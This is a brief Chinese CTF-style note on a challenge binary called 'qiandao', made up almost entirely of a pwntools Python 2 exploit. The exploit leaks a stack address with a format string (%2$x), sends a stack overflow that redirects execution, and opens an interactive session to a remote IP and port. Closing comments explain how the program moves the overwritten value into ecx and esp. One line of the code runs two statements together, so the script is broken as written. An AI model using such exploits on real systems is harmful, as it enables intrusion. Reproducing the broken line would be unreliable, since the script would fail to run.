格式化字符串 栈溢出
调试得%2$x时为栈地址
from pwn import *
context.log_level='debug'
#sh=process('./qiandao')
sh=remote('183.129.189.60','10013')
sh.recv()
sh.sendline('%2$x')
t=sh.recv(8)
print t
sh.recv()
sleep(0.2)
print t
x=int(t,16)
ret=0x0804857Dsh.sendline('a'*0x20+p32(ret)+p32(x-4)+p32(0))
sh.interactive()
程序结束后将var_4地方内容写入ecx
再将esp改写为ecx-4地址内容
即